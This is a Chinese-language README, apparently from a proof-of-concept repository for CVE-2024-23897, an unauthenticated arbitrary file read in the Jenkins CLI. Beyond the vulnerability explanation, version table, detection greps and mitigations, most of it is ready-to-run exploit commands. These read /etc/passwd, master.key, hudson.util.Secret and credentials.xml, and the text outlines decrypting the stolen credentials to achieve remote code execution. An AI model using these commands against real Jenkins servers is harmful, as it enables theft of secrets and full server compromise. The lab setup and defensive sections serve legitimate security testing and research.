CVSS 9.8(严重) — 已在野外被积极利用
CVE-2024-23897 是 Jenkins 命令行界面(CLI)中的一个严重任意文件读取漏洞。Jenkins CLI 使用 args4j 库来解析命令行参数。该库会将 @ 字符后跟文件路径(@/path/to/file)展开为读取该文件的内容并将其作为参数注入。未经身份验证的攻击者可以利用此行为读取 Jenkins 控制器文件系统上的任意文件,而无需任何身份验证。
结合提取 credentials.xml、secrets 或 master.key 时,此漏洞可导致服务器完全沦陷(RCE)。
@ 字符展开args4j 库(由 Jenkins 的 CLI 命令解析器使用)实现了一项便捷功能:当参数以 @ 开头时,它会将参数的其余部分视为文件路径,读取文件内容,并将其拆分为多个参数。这原本是为了允许通过文件传递大型参数列表。
示例:java -jar jenkins-cli.jar who-am-i @/etc/passwd 会导致 args4j 读取 /etc/passwd 并将其内容用作 who-am-i 命令的参数。
由于某些 CLI 命令(如 connect-node)会在错误消息/响应中回显或包含参数值,攻击者可以在 CLI 响应中观察到文件内容。
@/etc/passwd 参数的 CLI 命令| 产品 | 受影响版本 | 修复版本 |
|---|---|---|
| Jenkins(每周版) | ≤ 2.441 | 2.442 |
| Jenkins LTS | ≤ 2.426.2 | 2.426.3 |
| Jenkins LTS(上一版) | ≤ 2.414.2 | 2.414.3 |
注意:所有早于上述修复版本的 Jenkins 版本均受影响。CLI 功能在 Jenkins 中已存在多年,因此即使未明确列出,较旧版本同样受影响。
使用 Docker 运行易受攻击的 Jenkins 实例:
docker run -p 8080:8080 -p 50000:50000 jenkins/jenkins:2.440-jdk11
从容器日志中记录初始管理员密码。
验证 CLI 端口是否开放:
# Jenkins CLI 端口(TCP 50000)应处于监听状态
# 或者您可以使用 /cli/ 处的 HTTP CLI 端点
安装 Python 3.8+ 及所需依赖:
pip install requests
# 基本文件读取测试 — 读取 /etc/passwd
python exploit.py --target http://localhost:8080 --file /etc/passwd
# 读取 Jenkins secrets(提权路径)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/master.key
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/credentials.xml
# 下载 Jenkins CLI jar
wget http://localhost:8080/jnlpJars/jenkins-cli.jar
# 通过 CLI 读取 /etc/passwd
java -jar jenkins-cli.jar -s http://localhost:8080 who-am-i @/etc/passwd 2>&1
# 读取 Jenkins secrets
java -jar jenkins-cli.jar -s http://localhost:8080 connect-node @/var/jenkins_home/secrets/master.key 2>&1
文件内容会出现在 CLI 响应或错误输出中。例如,读取 /etc/passwd 将返回系统的密码文件条目。
# 读取配置以了解环境
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/config.xml
# 读取用户和权限
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/users/users.xml
# 提取主密钥(用于加密凭据)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/master.key
# 提取 hudson.util.Secret 密钥
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/hudson.util.Secret
# 提取凭据(加密)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/credentials.xml
有了 master.key 和 hudson.util.Secret,您可以使用 jenkins_decrypt.py 或来自 CVE-2024-23897 参考资料的 decrypt.py 脚本等工具解密 Jenkins 凭据。解密后的凭据(SSH 密钥、API 令牌、云提供商密钥)随后可用于在已连接节点和云环境中实现远程代码执行。
在访问日志或 CLI 审计日志中搜索包含 @ 后跟文件路径的参数:
# 使用 grep 搜索可疑的 CLI 访问
grep -r "@/" /var/log/jenkins/access.log
# 检查来自意外 IP 的 CLI 连接
grep "CLI" /var/log/jenkins/jenkins.log | grep -v "127.0.0.1"
如果无法立即修补,可通过设置 --webroot 选项或阻止 50000 端口来禁用 CLI 端口。但请注意,Web UI 中的 HTTP CLI 端点(/cli/)可能仍可利用,因此强烈建议进行修补。
本仓库仅用于授权的安全测试和教育目的。未经授权利用此漏洞属于违法行为。作者不对任何滥用此信息的行为负责。请仅在您拥有或已获得明确书面许可的系统上进行测试。
| 措施 | 详情 |
|---|
| 更新 Jenkins | 升级到 Jenkins 2.442+ 或 LTS 2.426.3+ / 2.414.3+ |
| 禁用 CLI 端口 | 如不需要,在防火墙处阻止 TCP 50000 端口 |
| 限制网络访问 | 仅允许受信任网络访问 Jenkins CLI 端口 |
| 启用身份验证 | 确保 Jenkins 对所有访问都要求身份验证 |
| 监控日志 | 在访问日志中查找带有 @ 参数的 CLI 命令 |